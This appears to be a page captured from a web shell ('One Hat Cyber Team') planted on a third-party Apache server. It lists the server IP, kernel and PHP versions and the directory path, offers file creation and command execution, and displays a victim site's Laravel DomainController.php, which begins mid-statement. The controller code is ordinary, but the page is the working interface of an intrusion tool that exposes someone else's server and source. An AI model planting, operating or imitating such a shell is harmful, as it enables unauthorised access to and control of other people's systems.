⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.53
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
wix.com.ng
/
app
/
Http
/
Controllers
/
User
/
View File Name :
DomainController.php
', 2)->where('user_id', Auth::guard('web')->user()->id)->orderBy('id', 'DESC')->first(); $data['rcDomain'] = $rcDomain; return view('user.domains', $data); } public function isValidDomain($domain_name) { return (preg_match("/^([a-zd](-*[a-zd])*)(.([a-zd](-*[a-zd])*))*$/i", $domain_name) //valid characters check && preg_match("/^.{1,253}$/", $domain_name) //overall length check && preg_match("/^[^.]{1,63}(.[^.]{1,63})*$/", $domain_name)); //length of every label } public function domainrequest(Request $request) { $be = BasicExtended::select('domain_request_success_message', 'cname_record_section_title')->first(); $rules = [ 'custom_domain' => [ 'required', function ($attribute, $value, $fail) use ($be) { // if user request the current domain if (getCdomain(Auth::user()) == $value) { $fail(__('You cannot request your current domain')); } // check if domain is valid if (!$this->isValidDomain($value)) { $fail(__('Domain format is not valid')); } } ] ]; $request->validate($rules); $cdomain = new UserCustomDomain; $cdomain->user_id = Auth::guard('web')->user()->id; $cdomain->requested_domain = $request->custom_domain; $cdomain->current_domain = getCdomain(Auth::user()); $cdomain->status = 0; $cdomain->save(); Session::flash('domain-success', $be->domain_request_success_message); return back(); } }